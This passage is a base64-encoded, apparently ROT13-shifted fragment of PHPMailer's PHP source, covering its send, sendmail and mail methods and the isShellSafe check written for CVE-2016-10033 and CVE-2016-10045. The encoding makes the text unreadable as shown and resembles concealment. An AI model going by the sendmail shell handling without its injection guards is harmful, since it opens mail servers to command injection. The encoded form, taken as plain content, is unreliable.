gKiBIZnJmIGd1ciBmcmFxdmF0IHpyZ3VicSBmY3JwdnN2cnEgb2wgJFpudnlyZS4KICAgICAqIEBndWViamYgY3Vjem52eXJlUmtwcmNndmJhCiAgICAgKiBAZXJnaGVhIG9iYnlybmEgc255ZnIgYmEgcmVlYmUgLSBGcnIgZ3VyIFJlZWJlVmFzYiBjZWJjcmVnbCBzYmUgcXJnbnZ5ZiBicyBndXIgcmVlYmUuCiAgICAgKi8KICAgIGNob3l2cCBzaGFwZ3ZiYSBmcmFxKCkKICAgIHsKICAgICAgICBnZWwgewogICAgICAgICAgICB2cyAoISRndXZmLT5jZXJGcmFxKCkpIHsKICAgICAgICAgICAgICAgIGVyZ2hlYSBzbnlmcjsKICAgICAgICAgICAgfQogICAgICAgICAgICBlcmdoZWEgJGd1dmYtPmNiZmdGcmFxKCk7CiAgICAgICAgfSBwbmdwdSAoY3Vjem52eXJlUmtwcmNndmJhICRya3ApIHsKICAgICAgICAgICAgJGd1dmYtPnpudnlVcm5xcmUgPSAnJzsKICAgICAgICAgICAgJGd1dmYtPmZyZ1JlZWJlKCRya3AtPnRyZ1pyZmZudHIoKSk7CiAgICAgICAgICAgIHZzICgkZ3V2Zi0+cmtwcmNndmJhZikgewogICAgICAgICAgICAgICAgZ3VlYmogJHJrcDsKICAgICAgICAgICAgfQogICAgICAgICAgICBlcmdoZWEgc255ZnI7CiAgICAgICAgfQogICAgfQoKICAgIC8qKgogICAgICogQ2VyY25lciBuIHpyZmZudHIgc2JlIGZyYXF2YXQuCiAgICAgKiBAZ3VlYmpmIGN1Y3pudnlyZVJrcHJjZ3ZiYQogICAgICogQGVyZ2hlYSBvYmJ5cm5hCiAgICAgKi8KICAgIGNob3l2cCBzaGFwZ3ZiYSBjZXJGcmFxKCkKICAgIHsKICAgICAgICBnZWwgewogICAgICAgICAgICAkZ3V2Zi0+cmVlYmVfcGJoYWcgPSAwOyAvLyBFcmZyZyByZWViZWYKICAgICAgICAgICAgJGd1dmYtPnpudnlVcm5xcmUgPSAnJzsKCiAgICAgICAgICAgIC8vIFFyZGhyaHIgZXJwdmN2cmFnIG5hcSBFcmN5bC1HYiBucXFlcmZmcmYganZndSBWUUEKICAgICAgICAgICAgc2Jlcm5wdSAobmVlbmxfenJldHIoJGd1dmYtPkVycHZjdnJhZ2ZEaHJociwgJGd1dmYtPkVyY3lsR2JEaHJocikgbmYgJGNuZW56ZikgewogICAgICAgICAgICAgICAgJGNuZW56ZlsxXSA9ICRndXZmLT5jaGFscmFwYnFyTnFxZXJmZigkY25lbnpmWzFdKTsKICAgICAgICAgICAgICAgIHBueXlfaGZyZV9zaGFwX25lZW5sKG5lZW5sKCRndXZmLCAnbnFxTmFOcXFlcmZmJyksICRjbmVuemYpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHZzICgocGJoYWcoJGd1dmYtPmdiKSArIHBiaGFnKCRndXZmLT5wcCkgKyBwYmhhZygkZ3V2Zi0+b3BwKSkgPCAxKSB7CiAgICAgICAgICAgICAgICBndWViaiBhcmogY3Vjem52eXJlUmtwcmNndmJhKCRndXZmLT55bmF0KCdjZWJpdnFyX25xcWVyZmYnKSwgZnJ5czo6RkdCQ19QRVZHVlBOWSk7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIC8vIElueXZxbmdyIFNlYnosIEZyYXFyZSwgbmFxIFBiYXN2ZXpFcm5xdmF0R2IgbnFxZXJmZnJmCiAgICAgICAgICAgIHNiZXJucHUgKG5lZW5sKCdTZWJ6JywgJ0ZyYXFyZScsICdQYmFzdmV6RXJucXZhdEdiJykgbmYgJG5xcWVyZmZfeHZhcSkgewogICAgICAgICAgICAgICAgJGd1dmYtPiRucXFlcmZmX3h2YXEgPSBnZXZ6KCRndXZmLT4kbnFxZXJmZl94dmFxKTsKICAgICAgICAgICAgICAgIHZzIChyemNnbCgkZ3V2Zi0+JG5xcWVyZmZfeHZhcSkpIHsKICAgICAgICAgICAgICAgICAgICBwYmFndmFocjsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRndXZmLT4kbnFxZXJmZl94dmFxID0gJGd1dmYtPmNoYWxyYXBicXJOcXFlcmZmKCRndXZmLT4kbnFxZXJmZl94dmFxKTsKICAgICAgICAgICAgICAgIHZzICghJGd1dmYtPmlueXZxbmdyTnFxZXJmZigkZ3V2Zi0+JG5xcWVyZmZfeHZhcSkpIHsKICAgICAgICAgICAgICAgICAgICAkcmVlYmVfenJmZm50ciA9ICRndXZmLT55bmF0KCd2YWlueXZxX25xcWVyZmYnKSAuICcgKGNoYWxSYXBicXIpICcgLiAkZ3V2Zi0+JG5xcWVyZmZfeHZhcTsKICAgICAgICAgICAgICAgICAgICAkZ3V2Zi0+ZnJnUmVlYmUoJHJlZWJlX3pyZmZudHIpOwogICAgICAgICAgICAgICAgICAgICRndXZmLT5ycXJvaHQoJHJlZWJlX3pyZmZudHIpOwogICAgICAgICAgICAgICAgICAgIHZzICgkZ3V2Zi0+cmtwcmNndmJhZikgewogICAgICAgICAgICAgICAgICAgICAgICBndWViaiBhcmogY3Vjem52eXJlUmtwcmNndmJhKCRyZWViZV96cmZmbnRyKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgZXJnaGVhIHNueWZyOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CgogICAgICAgICAgICAvLyBGcmcganVyZ3VyZSBndXIgenJmZm50ciB2ZiB6aHlndmNuZWcvbnlncmVhbmd2aXIKICAgICAgICAgICAgdnMgKCRndXZmLT5ueWdyZWFuZ3ZpclJrdmZnZigpKSB7CiAgICAgICAgICAgICAgICAkZ3V2Zi0+UGJhZ3JhZ0dsY3IgPSAnemh5Z3ZjbmVnL255Z3JlYW5ndmlyJzsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgJGd1dmYtPmZyZ1pyZmZudHJHbGNyKCk7CiAgICAgICAgICAgIC8vIEVyc2hmciBnYiBmcmFxIG5hIHJ6Y2dsIHpyZmZudHIgaGF5cmZmIGpyIG5lciBmY3JwdnN2cG55eWwgbnl5Ymp2YXQgdmcKICAgICAgICAgICAgdnMgKCEkZ3V2Zi0+Tnl5YmpSemNnbCBuYXEgcnpjZ2woJGd1dmYtPk9icWwpKSB7CiAgICAgICAgICAgICAgICBndWViaiBhcmogY3Vjem52eXJlUmtwcmNndmJhKCRndXZmLT55bmF0KCdyemNnbF96cmZmbnRyJyksIGZyeXM6OkZHQkNfUEVWR1ZQTlkpOwogICAgICAgICAgICB9CgogICAgICAgICAgICAvLyBQZXJuZ3Igb2JxbCBvcnNiZXIgdXJucXJlZiB2YSBwbmZyIG9icWwgem54cmYgcHVuYXRyZiBnYiB1cm5xcmVmIChyLnQuIG55Z3JldmF0IGdlbmFmc3JlIHJhcGJxdmF0KQogICAgICAgICAgICAkZ3V2Zi0+WlZaUlVybnFyZSA9ICcnOwogICAgICAgICAgICAkZ3V2Zi0+WlZaUk9icWwgPSAkZ3V2Zi0+cGVybmdyT2JxbCgpOwogICAgICAgICAgICAvLyBwZXJuZ3JPYnFsIHpubCB1bmlyIG5xcXJxIGZienIgdXJucXJlZiwgZmIgZXJnbnZhIGd1cnoKICAgICAgICAgICAgJGdyemN1cm5xcmVmID0gJGd1dmYtPlpWWlJVcm5xcmU7CiAgICAgICAgICAgICRndXZmLT5aVlpSVXJucXJlID0gJGd1dmYtPnBlcm5nclVybnFyZSgpOwogICAgICAgICAgICAkZ3V2Zi0+WlZaUlVybnFyZSAuPSAkZ3J6Y3VybnFyZWY7CgogICAgICAgICAgICAvLyBHYiBwbmNnaGVyIGd1ciBwYnpjeXJnciB6cmZmbnRyIGp1cmEgaGZ2YXQgem52eSgpLCBwZXJuZ3IKICAgICAgICAgICAgLy8gbmEgcmtnZW4gdXJucXJlIHl2ZmcganV2cHUgcGVybmdyVXJucXJlKCkgcWJyZmEnZyBzYnlxIHZhCiAgICAgICAgICAgIHZzICgkZ3V2Zi0+Wm52eXJlID09ICd6bnZ5JykgewogICAgICAgICAgICAgICAgdnMgKHBiaGFnKCRndXZmLT5nYikgPiAwKSB7CiAgICAgICAgICAgICAgICAgICAgJGd1dmYtPnpudnlVcm5xcmUgLj0gJGd1dmYtPm5xcWVOY2NyYXEoJ0diJywgJGd1dmYtPmdiKTsKICAgICAgICAgICAgICAgIH0gcnlmciB7CiAgICAgICAgICAgICAgICAgICAgJGd1dmYtPnpudnlVcm5xcmUgLj0gJGd1dmYtPnVybnFyZVl2YXIoJ0diJywgJ2hhcXZmcHliZnJxLWVycHZjdnJhZ2Y6OycpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJGd1dmYtPnpudnlVcm5xcmUgLj0gJGd1dmYtPnVybnFyZVl2YXIoCiAgICAgICAgICAgICAgICAgICAgJ0Zob3dycGcnLAogICAgICAgICAgICAgICAgICAgICRndXZmLT5yYXBicXJVcm5xcmUoJGd1dmYtPmZycGhlclVybnFyZShnZXZ6KCRndXZmLT5GaG93cnBnKSkpCiAgICAgICAgICAgICAgICApOwogICAgICAgICAgICB9CgogICAgICAgICAgICAvLyBGdnRhIGp2Z3UgUVhWWiB2cyByYW5veXJxCiAgICAgICAgICAgIHZzICghcnpjZ2woJGd1dmYtPlFYVlpfcWJ6bnZhKQogICAgICAgICAgICAgICAgbmFxICFyemNnbCgkZ3V2Zi0+UVhWWl9mcnlycGdiZSkKICAgICAgICAgICAgICAgIG5hcSAoIXJ6Y2dsKCRndXZmLT5RWFZaX2NldmluZ3JfZmdldmF0KQogICAgICAgICAgICAgICAgICAgIGJlICghcnpjZ2woJGd1dmYtPlFYVlpfY2V2aW5ncikKICAgICAgICAgICAgICAgICAgICAgICAgbmFxIGZyeXM6OnZmQ3JlenZnZ3JxQ25ndSgkZ3V2Zi0+UVhWWl9jZXZpbmdyKQogICAgICAgICAgICAgICAgICAgICAgICBuYXEgc3Z5cl9ya3ZmZ2YoJGd1dmYtPlFYVlpfY2V2aW5ncikKICAgICAgICAgICAgICAgICAgICApCiAgICAgICAgICAgICAgICApCiAgICAgICAgICAgICkgewogICAgICAgICAgICAgICAgJHVybnFyZV9xeHZ6ID0gJGd1dmYtPlFYVlpfTnFxKAogICAgICAgICAgICAgICAgICAgICRndXZmLT5aVlpSVXJucXJlIC4gJGd1dmYtPnpudnlVcm5xcmUsCiAgICAgICAgICAgICAgICAgICAgJGd1dmYtPnJhcGJxclVybnFyZSgkZ3V2Zi0+ZnJwaGVyVXJucXJlKCRndXZmLT5GaG93cnBnKSksCiAgICAgICAgICAgICAgICAgICAgJGd1dmYtPlpWWlJPYnFsCiAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgJGd1dmYtPlpWWlJVcm5xcmUgPSBlZ2V2eigkZ3V2Zi0+WlZaUlVybnFyZSwgIlxlXGEgIikgLiBmcnlzOjpQRVlTIC4KICAgICAgICAgICAgICAgICAgICBmZ2VfZXJjeW5wcigiXGVcYSIsICJcYSIsICR1cm5xcmVfcXh2eikgLiBmcnlzOjpQRVlTOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVyZ2hlYSBnZWhyOwogICAgICAgIH0gcG5ncHUgKGN1Y3pudnlyZVJrcHJjZ3ZiYSAkcmtwKSB7CiAgICAgICAgICAgICRndXZmLT5mcmdSZWViZSgkcmtwLT50cmdacmZmbnRyKCkpOwogICAgICAgICAgICB2cyAoJGd1dmYtPnJrcHJjZ3ZiYWYpIHsKICAgICAgICAgICAgICAgIGd1ZWJqICRya3A7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZXJnaGVhIHNueWZyOwogICAgICAgIH0KICAgIH0KCiAgICAvKioKICAgICAqIE5wZ2hueXlsIGZyYXEgbiB6cmZmbnRyLgogICAgICogRnJhcSBndXIgcnpudnkgaXZuIGd1ciBmcnlycGdycSB6cnB1bmF2ZnoKICAgICAqIEBndWViamYgY3Vjem52eXJlUmtwcmNndmJhCiAgICAgKiBAZXJnaGVhIG9iYnlybmEKICAgICAqLwogICAgY2hveXZwIHNoYXBndmJhIGNiZmdGcmFxKCkKICAgIHsKICAgICAgICBnZWwgewogICAgICAgICAgICAvLyBQdWJiZnIgZ3VyIHpudnlyZSBuYXEgZnJhcSBndWViaHR1IHZnCiAgICAgICAgICAgIGZqdmdwdSAoJGd1dmYtPlpudnlyZSkgewogICAgICAgICAgICAgICAgcG5mciAnZnJhcXpudnknOgogICAgICAgICAgICAgICAgcG5mciAnZHpudnknOgogICAgICAgICAgICAgICAgICAgIGVyZ2hlYSAkZ3V2Zi0+ZnJhcXpudnlGcmFxKCRndXZmLT5aVlpSVXJucXJlLCAkZ3V2Zi0+WlZaUk9icWwpOwogICAgICAgICAgICAgICAgcG5mciAnZnpnYyc6CiAgICAgICAgICAgICAgICAgICAgZXJnaGVhICRndXZmLT5memdjRnJhcSgkZ3V2Zi0+WlZaUlVybnFyZSwgJGd1dmYtPlpWWlJPYnFsKTsKICAgICAgICAgICAgICAgIHBuZnIgJ3pudnknOgogICAgICAgICAgICAgICAgICAgIGVyZ2hlYSAkZ3V2Zi0+em52eUZyYXEoJGd1dmYtPlpWWlJVcm5xcmUsICRndXZmLT5aVlpST2JxbCk7CiAgICAgICAgICAgICAgICBxcnNuaHlnOgogICAgICAgICAgICAgICAgICAgICRmcmFxWnJndWJxID0gJGd1dmYtPlpudnlyZS4nRnJhcSc7CiAgICAgICAgICAgICAgICAgICAgdnMgKHpyZ3VicV9ya3ZmZ2YoJGd1dmYsICRmcmFxWnJndWJxKSkgewogICAgICAgICAgICAgICAgICAgICAgICBlcmdoZWEgJGd1dmYtPiRmcmFxWnJndWJxKCRndXZmLT5aVlpSVXJucXJlLCAkZ3V2Zi0+WlZaUk9icWwpOwogICAgICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAgICAgZXJnaGVhICRndXZmLT56bnZ5RnJhcSgkZ3V2Zi0+WlZaUlVybnFyZSwgJGd1dmYtPlpWWlJPYnFsKTsKICAgICAgICAgICAgfQogICAgICAgIH0gcG5ncHUgKGN1Y3pudnlyZVJrcHJjZ3ZiYSAkcmtwKSB7CiAgICAgICAgICAgICRndXZmLT5mcmdSZWViZSgkcmtwLT50cmdacmZmbnRyKCkpOwogICAgICAgICAgICAkZ3V2Zi0+cnFyb2h0KCRya3AtPnRyZ1pyZmZudHIoKSk7CiAgICAgICAgICAgIHZzICgkZ3V2Zi0+cmtwcmNndmJhZikgewogICAgICAgICAgICAgICAgZ3VlYmogJHJrcDsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBlcmdoZWEgc255ZnI7CiAgICB9CgogICAgLyoqCiAgICAgKiBGcmFxIHpudnkgaGZ2YXQgZ3VyICRGcmFxem52eSBjZWJ0ZW56LgogICAgICogQGNuZW56IGZnZXZhdCAkdXJucXJlIEd1ciB6cmZmbnRyIHVybnFyZWYKICAgICAqIEBjbmVueiBmZ2V2YXQgJG9icWwgR3VyIHpyZmZudHIgb2JxbAogICAgICogQGZyciBDVUNabnZ5cmU6OiRGcmFxem52eQogICAgICogQGd1ZWJqZiBjdWN6bnZ5cmVSa3ByY2d2YmEKICAgICAqIEBucHByZmYgY2ViZ3JwZ3JxCiAgICAgKiBAZXJnaGVhIG9iYnlybmEKICAgICAqLwogICAgY2ViZ3JwZ3JxIHNoYXBndmJhIGZyYXF6bnZ5RnJhcSgkdXJucXJlLCAkb2JxbCkKICAgIHsKICAgICAgICAvLyBQSVItMjAxNi0xMDAzMywgUElSLTIwMTYtMTAwNDU6IFFiYSdnIGNuZmYgLXMgdnMgcHVuZW5wZ3JlZiBqdnl5IG9yIHJmcG5jcnEuCiAgICAgICAgdnMgKCFyemNnbCgkZ3V2Zi0+RnJhcXJlKSBuYXEgZnJ5czo6dmZGdXJ5eUZuc3IoJGd1dmYtPkZyYXFyZSkpIHsKICAgICAgICAgICAgdnMgKCRndXZmLT5abnZ5cmUgPT0gJ2R6bnZ5JykgewogICAgICAgICAgICAgICAgJGZyYXF6bnZ5U3pnID0gJyVmIC1zJWYnOwogICAgICAgICAgICB9IHJ5ZnIgewogICAgICAgICAgICAgICAgJGZyYXF6bnZ5U3pnID0gJyVmIC1idiAtcyVmIC1nJzsKICAgICAgICAgICAgfQogICAgICAgIH0gcnlmciB7CiAgICAgICAgICAgIHZzICgkZ3V2Zi0+Wm52eXJlID09ICdkem52eScpIHsKICAgICAgICAgICAgICAgICRmcmFxem52eVN6ZyA9ICclZic7CiAgICAgICAgICAgIH0gcnlmciB7CiAgICAgICAgICAgICAgICAkZnJhcXpudnlTemcgPSAnJWYgLWJ2IC1nJzsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgLy8gR0JRQjogVnMgY2JmZnZveXIsIGd1dmYgZnViaHlxIG9yIHB1bmF0cnEgZ2IgcmZwbmNyZnVyeXluZXQuICBBcnJxZiBndWJlYmh0dSBncmZndmF0LgogICAgICAgICRmcmFxem52eSA9IGZjZXZhZ3MoJGZyYXF6bnZ5U3pnLCByZnBuY3JmdXJ5eXB6cSgkZ3V2Zi0+RnJhcXpudnkpLCAkZ3V2Zi0+RnJhcXJlKTsKCiAgICAgICAgdnMgKCRndXZmLT5GdmF0eXJHYikgewogICAgICAgICAgICBzYmVybnB1ICgkZ3V2Zi0+RnZhdHlyR2JOZWVubCBuZiAkZ2JOcXFlKSB7CiAgICAgICAgICAgICAgICB2cyAoIUAkem52eSA9IGNiY3JhKCRmcmFxem52eSwgJ2onKSkgewogICAgICAgICAgICAgICAgICAgIGd1ZWJqIGFyaiBjdWN6bnZ5cmVSa3ByY2d2YmEoJGd1dmYtPnluYXQoJ3JrcnBoZ3InKSAuICRndXZmLT5GcmFxem52eSwgZnJ5czo6RkdCQ19QRVZHVlBOWSk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBzY2hnZigkem52eSwgJ0diOiAnIC4gJGdiTnFxZSAuICJcYSIpOwogICAgICAgICAgICAgICAgc2NoZ2YoJHpudnksICR1cm5xcmUpOwogICAgICAgICAgICAgICAgc2NoZ2YoJHpudnksICRvYnFsKTsKICAgICAgICAgICAgICAgICRlcmZoeWcgPSBjcHliZnIoJHpudnkpOwogICAgICAgICAgICAgICAgJGd1dmYtPnFiUG55eW9ucHgoCiAgICAgICAgICAgICAgICAgICAgKCRlcmZoeWcgPT0gMCksCiAgICAgICAgICAgICAgICAgICAgbmVlbmwoJGdiTnFxZSksCiAgICAgICAgICAgICAgICAgICAgJGd1dmYtPnBwLAogICAgICAgICAgICAgICAgICAgICRndXZmLT5vcHAsCiAgICAgICAgICAgICAgICAgICAgJGd1dmYtPkZob3dycGcsCiAgICAgICAgICAgICAgICAgICAgJG9icWwsCiAgICAgICAgICAgICAgICAgICAgJGd1dmYtPlNlYnoKICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICB2cyAoJGVyZmh5ZyAhPSAwKSB7CiAgICAgICAgICAgICAgICAgICAgZ3VlYmogYXJqIGN1Y3pudnlyZVJrcHJjZ3ZiYSgkZ3V2Zi0+eW5hdCgncmtycGhncicpIC4gJGd1dmYtPkZyYXF6bnZ5LCBmcnlzOjpGR0JDX1BFVkdWUE5ZKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0gcnlmciB7CiAgICAgICAgICAgIHZzICghQCR6bnZ5ID0gY2JjcmEoJGZyYXF6bnZ5LCAnaicpKSB7CiAgICAgICAgICAgICAgICBndWViaiBhcmogY3Vjem52eXJlUmtwcmNndmJhKCRndXZmLT55bmF0KCdya3JwaGdyJykgLiAkZ3V2Zi0+RnJhcXpudnksIGZyeXM6OkZHQkNfUEVWR1ZQTlkpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHNjaGdmKCR6bnZ5LCAkdXJucXJlKTsKICAgICAgICAgICAgc2NoZ2YoJHpudnksICRvYnFsKTsKICAgICAgICAgICAgJGVyZmh5ZyA9IGNweWJmcigkem52eSk7CiAgICAgICAgICAgICRndXZmLT5xYlBueXlvbnB4KAogICAgICAgICAgICAgICAgKCRlcmZoeWcgPT0gMCksCiAgICAgICAgICAgICAgICAkZ3V2Zi0+Z2IsCiAgICAgICAgICAgICAgICAkZ3V2Zi0+cHAsCiAgICAgICAgICAgICAgICAkZ3V2Zi0+b3BwLAogICAgICAgICAgICAgICAgJGd1dmYtPkZob3dycGcsCiAgICAgICAgICAgICAgICAkb2JxbCwKICAgICAgICAgICAgICAgICRndXZmLT5TZWJ6CiAgICAgICAgICAgICk7CiAgICAgICAgICAgIHZzICgkZXJmaHlnICE9IDApIHsKICAgICAgICAgICAgICAgIGd1ZWJqIGFyaiBjdWN6bnZ5cmVSa3ByY2d2YmEoJGd1dmYtPnluYXQoJ3JrcnBoZ3InKSAuICRndXZmLT5GcmFxem52eSwgZnJ5czo6RkdCQ19QRVZHVlBOWSk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgZXJnaGVhIGdlaHI7CiAgICB9CgogICAgLyoqCiAgICAgKiBTdmsgUElSLTIwMTYtMTAwMzMgbmFxIFBJUi0yMDE2LTEwMDQ1IG9sIHF2Zm55eWJqdmF0IGNiZ3JhZ3ZueXlsIGhhZm5zciBmdXJ5eSBwdW5lbnBncmVmLgogICAgICoKICAgICAqIEFiZ3IgZ3VuZyByZnBuY3JmdXJ5eW5ldCBuYXEgcmZwbmNyZnVyeXlwenEgbmVyIHZhbnFyZGhuZ3Igc2JlIGJoZSBjaGVjYmZyZiwgcmZjcnB2bnl5bCBiYSBKdmFxYmpmLgogICAgICogQGNuZW56IGZnZXZhdCAkZmdldmF0IEd1ciBmZ2V2YXQgZ2Igb3IgaW55dnFuZ3JxCiAgICAgKiBAZnJyIHVnZ2NmOi8vdHZndWhvLnBiei9DVUNabnZ5cmUvQ1VDWm52eXJlL3ZmZmhyZi85MjQgUElSLTIwMTYtMTAwNDUgb2h0IGVyY2JlZwogICAgICogQG5wcHJmZiBjZWJncnBncnEKICAgICAqIEBlcmdoZWEgb2JieXJuYQogICAgICovCiAgICBjZWJncnBncnEgZmduZ3ZwIHNoYXBndmJhIHZmRnVyeXlGbnNyKCRmZ2V2YXQpCiAgICB7CiAgICAgICAgLy8gU2hnaGVyLWNlYmJzCiAgICAgICAgdnMgKHJmcG5jcmZ1cnl5cHpxKCRmZ2V2YXQpICE9PSAkZmdldmF0CiAgICAgICAgICAgIGJlICF2YV9uZWVubChyZnBuY3JmdXJ5eW5ldCgkZmdldmF0KSwgbmVlbmwoIickZmdldmF0JyIsICJcIiRmZ2V2YXRcIiIpKQogICAgICAgICkgewogICAgICAgICAgICBlcmdoZWEgc255ZnI7CiAgICAgICAgfQoKICAgICAgICAkeXJhdGd1ID0gZmdleXJhKCRmZ2V2YXQpOwoKICAgICAgICBzYmUgKCR2ID0gMDsgJHYgPCAkeXJhdGd1OyAkdisrKSB7CiAgICAgICAgICAgICRwID0gJGZnZXZhdFskdl07CgogICAgICAgICAgICAvLyBOeXkgYmd1cmUgcHVuZW5wZ3JlZiB1bmlyIG4gZmNycHZueSB6cm5hdmF0IHZhIG5nIHlybmZnIGJhciBwYnp6YmEgZnVyeXksIHZhcHlocXZhdCA9IG5hcSArLgogICAgICAgICAgICAvLyBTaHl5IGZnYmMgKC4pIHVuZiBuIGZjcnB2bnkgenJuYXZhdCB2YSBwenEucmtyLCBvaGcgdmdmIHZ6Y25wZyBmdWJoeXEgb3IgYXJ0eXZ0dm95ciB1cmVyLgogICAgICAgICAgICAvLyBBYmdyIGd1bmcgZ3V2ZiBxYnJmIGNyZXp2ZyBhYmEtWW5ndmEgbnljdW5haHpyZXZwIHB1bmVucGdyZWYgb25mcnEgYmEgZ3VyIHBoZWVyYWcgeWJwbnlyLgogICAgICAgICAgICB2cyAoIXBnbGNyX255YWh6KCRwKSAmJiBmZ2VjYmYoJ0BfLS4nLCAkcCkgPT09IHNueWZyKSB7CiAgICAgICAgICAgICAgICBlcmdoZWEgc255ZnI7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIGVyZ2hlYSBnZWhyOwogICAgfQoKICAgIC8qKgogICAgICogUHVycHgganVyZ3VyZSBuIHN2eXIgY25ndSB2ZiBicyBuIGNyZXp2Z2dycSBnbGNyLgogICAgICogSGZycSBnYiBlcndycGcgSEVZZiBuYXEgY3VuZSBzdnlyZiBzZWJ6IHNoYXBndmJhZiBndW5nIG5wcHJmZiB5YnBueSBzdnlyIGNuZ3VmLAogICAgICogZmhwdSBuZiBucXFOZ2ducHV6cmFnLgogICAgICogQGNuZW56IGZnZXZhdCAkY25ndSBOIGVyeW5ndmlyIGJlIG5vZmJ5aGdyIGNuZ3UgZ2IgbiBzdnlyLgogICAgICogQGVyZ2hlYSBvYmJ5CiAgICAgKi8KICAgIGNlYmdycGdycSBmZ25ndnAgc2hhcGd2YmEgdmZDcmV6dmdncnFDbmd1KCRjbmd1KQogICAgewogICAgICAgIGVyZ2hlYSAhY2VydF96bmdwdSgnI15bbi1tXSs6Ly8jdicsICRjbmd1KTsKICAgIH0KCiAgICAvKioKICAgICAqIEZyYXEgem52eSBoZnZhdCBndXIgQ1VDIHpudnkoKSBzaGFwZ3ZiYS4KICAgICAqIEBjbmVueiBmZ2V2YXQgJHVybnFyZSBHdXIgenJmZm50ciB1cm5xcmVmCiAgICAgKiBAY25lbnogZmdldmF0ICRvYnFsIEd1ciB6cmZmbnRyIG9icWwKICAgICAqIEB5dmF4IHVnZ2M6Ly9qamouY3VjLmFyZy96bmFobnkvcmEvb2JieC56bnZ5LmN1YwogICAgICogQGd1ZWJqZiBjdWN6bnZ5cmVSa3ByY2d2YmEKICAgICAqIEBucHByZmYgY2ViZ3JwZ3JxCiAgICAgKiBAZXJnaGVhIG9iYnlybmEKICAgICAqLwogICAgY2ViZ3JwZ3JxIHNoYXBndmJhIHpudnlGcmFxKCR1cm5xcmUsICRvYnFsKQogICAgewogICAgICAgICRnYk5lZSA9IG5lZW5sKCk7CiAgICAgICAgc2Jlcm5wdSAoJGd1dmYtPmdiIG5mICRnYm5xcWUpIHsKICAgICAgICAgICAgJGdiTmVlW10gPSAkZ3V2Zi0+bnFxZVNiZXpuZygkZ2JucXFlKTsKICAgICAgICB9CiAgICAgICAgJGdiID0gdnpjeWJxcignLCAnLCAkZ2JOZWUpOwoKICAgICAgICAkY25lbnpmID0gYWh5eTsKICAgICAgICAvL0d1dmYgZnJnZiBndXIgRlpHQyByYWlyeWJjciBmcmFxcmUganV2cHUgdHJnZiBnaGVhcnEgdmFnYiBuIGVyZ2hlYS1jbmd1IHVybnFyZSBvbCBndXIgZXJwcnZpcmUKICAgICAgICB2cyAoIXJ6Y2dsKCRndXZmLT5GcmFxcmUpIG5hcSAkZ3V2Zi0+aW55dnFuZ3JOcXFlcmZmKCRndXZmLT5GcmFxcmUpKSB7CiAgICAgICAgICAgIC8vIFBJUi0yMDE2LTEwMDMzLCBQSVItMjAxNi0xMDA0NTogUWJhJ2cgY25mZiAtcyB2cyBwdW5lbnBncmVmIGp2eXkgb3IgcmZwbmNycS4KICAgICAgICAgICAgdnMgKGZyeXM6OnZmRnVyeXlGbnNyKCRndXZmLT5GcmFxcmUpKSB7CiAgICAgICAgICAgICAgICAkY25lbnpmID0gZmNldmFncygnLXMlZicsICRndXZmLT5GcmFxcmUpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHZzICghcnpjZ2woJGd1dmYtPkZyYXFyZSkgbmFxICF2YXZfdHJnKCdmbnNyX3picXInKSBuYXEgJGd1dmYtPmlueXZxbmdyTnFxZXJmZigkZ3V2Zi0+RnJhcXJlKSkgewogICAgICAgICAgICAkYnlxX3NlYnogPSB2YXZfdHJnKCdmcmFxem52eV9zZWJ6Jyk7CiAgICAgICAgICAgIHZhdl9mcmcoJ2ZyYXF6bnZ5X3NlYnonLCAkZ3V2Zi0+RnJhcXJlKTsKICAgICAgICB9CiAgICAgICAgJGVyZmh5ZyA9IHNueWZyOwogICAgICAgIHZzICgkZ3V2Zi0+RnZhdHlyR2IgbmFxIHBiaGFnKCRnYk5lZSkgPiAxKSB7CiAgICAgICAgICAgIHNiZXJucHUgKCRnYk5lZSBuZiAkZ2JOcXFlKSB7CiAgICAgICAgICAgICAgICAkZXJmaHlnID0gJGd1dmYtPnpudnlDbmZmZ3VlaCgkZ2JOcXFlLCAkZ3V2Zi0+Rmhvd3JwZywgJG9icWwsICR1cm5xcmUsICRjbmVuemYpOwogICAgICAgICAgICAgICAgJGd1dmYtPnFiUG55eW9ucHgoJGVyZmh5ZywgbmVlbmwoJGdiTnFxZSksICRndXZmLT5wcCwgJGd1dmYtPm9wcCwgJGd1dmYtPkZob3dycGcsICRvYnFsLCAkZ3V2Zi0+U2Vieik7CiAgICAgICAgICAgIH0KICAgICAgICB9IHJ5ZnIgewogICAgICAgICAgICAkZXJmaHlnID0gJGd1dmYtPnpudnlDbmZmZ3VlaCgkZ2IsICRndXZmLT5GaG93cnBnLCAkb2JxbCwgJHVybnFyZSwgJGNuZW56Zik7CiAgICAgICAgICAgICRndXZmLT5xYlBueXlvbnB4KCRlcmZoeWcsICRndXZmLT5nYiwgJGd1dmYtPnBwLCAkZ3V2Zi0+b3BwLCAkZ3V2Zi0+Rmhvd3JwZywgJG9icWwsICRndXZmLT5TZWJ6KTsKICAgICAgICB9CiAgICAgICAgdnMgKHZmZnJnKCRieXFfc2VieikpIHsKICAgICAgICAgICAgdmF2X2ZyZygnZnJhcXpudnlfc2VieicsICRieXFfc2Vieik7CiAgICAgICAgfQogICAgICAgIHZzICghJGVyZmh5ZykgewogICAgICAgICAgICBndWViaiBhcmogY3Vjem52eXJlUmtwcmNndmJhKCRndXZmLT55bmF0KCd2YWZnbmFndm5ncic